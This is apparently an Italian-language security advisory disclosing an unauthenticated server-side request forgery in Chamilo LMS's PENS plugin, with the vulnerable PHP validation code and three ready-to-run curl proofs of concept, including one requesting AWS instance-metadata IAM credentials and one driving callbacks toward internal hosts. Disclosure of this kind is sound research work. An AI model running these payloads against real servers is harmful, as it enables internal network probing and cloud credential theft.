
SSRF non autenticato in Chamilo LMS tramite il plugin PENS (pens.php) — CVSS 7.5
Gravità: Alta (CVSS 7.5)
CWE: CWE-918 (Server-Side Request Forgery)
Componenti interessati: chamilo/chamilo-lms 2.x (commit af6b7002 e precedenti)
Advisory: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
L'endpoint del plugin PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php è accessibile senza autenticazione e accetta URL controllati dall'utente sia per il download dei pacchetti sia per le notifiche di callback. Le funzioni di validazione degli URL controllano lo schema e la presenza dell'host ma non eseguono alcun filtro sugli IP privati, consentendo SSRF non autenticato verso reti interne e servizi di metadati cloud.
Dopo aver trovato CVE-2026-33715 in install.ajax.php di Chamilo, ho continuato ad analizzare il codebase alla ricerca di altri endpoint non autenticati con effetti lato rete. Il plugin PENS (public/plugin/Pens/) si è distinto: PENS è un protocollo legacy di distribuzione di contenuti e-learning che prevede il recupero di pacchetti da URL esterni e l'invio di callback a server esterni — entrambe superfici classiche per SSRF.
Ho letto PensProcessor.php cercando la logica di validazione degli URL. isAllowedDownloadUrl() e isAllowedCallbackUrl() controllano entrambe lo schema (http/https) e la presenza di un host non vuoto — e si fermano lì. Nessun filtro RFC 1918, nessun controllo su loopback, nessun controllo su link-local. Il commento dice persino "returns true" dopo il controllo sull'host, il che rendeva evidente che il codice era stato scritto senza pensare a SSRF.
Ciò che distingue questa vulnerabilità dalla precedente CVE di Chamilo: ci sono due vettori SSRF indipendenti — uno per il recupero del pacchetto (il server scarica un file da un URL controllato dall'attaccante) e uno per i callback (il server invia POST a endpoint controllati dall'attaccante). Il vettore dei callback è particolarmente utile per esfiltrare le risposte dei servizi interni, poiché il server invia i dati di stato PENS a qualsiasi URL tu specifichi e controlli tu il parsing della risposta.
Nelle distribuzioni cloud, l'endpoint dei metadati 169.254.169.254 è raggiungibile tramite entrambi i vettori.
File: public/plugin/Pens/lib/PensProcessor.php
Due vettori SSRF distinti:
Vettore 1 — Recupero URL pacchetto (righe 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← nessun controllo sugli IP privati
}
// Poi recuperato con curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Vettore 2 — SSRF tramite callback (riga 318): i parametri receipt e alerts specificano gli URL a cui il server invia callback POST — stessa validazione assente.
isAllowedDownloadUrl() e isAllowedCallbackUrl() validano solo che l'URL abbia uno schema http/https e un host non vuoto. Gli intervalli privati RFC 1918 (10.x, 172.16.x, 192.168.x), il loopback (127.x), il link-local (169.254.x — metadati cloud) e gli equivalenti IPv6 sono tutti accettati.
# Vettore 1: Sonda la rete interna tramite package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# Endpoint metadati AWS
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vettore 2: SSRF tramite callback — il server invia POST a un endpoint interno controllato dall'attaccante
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Nota: questa vulnerabilità è distinta da CVE-2022-27426 (SSRF negli strumenti social/links) — percorso di codice diverso, plugin diverso, non autenticata.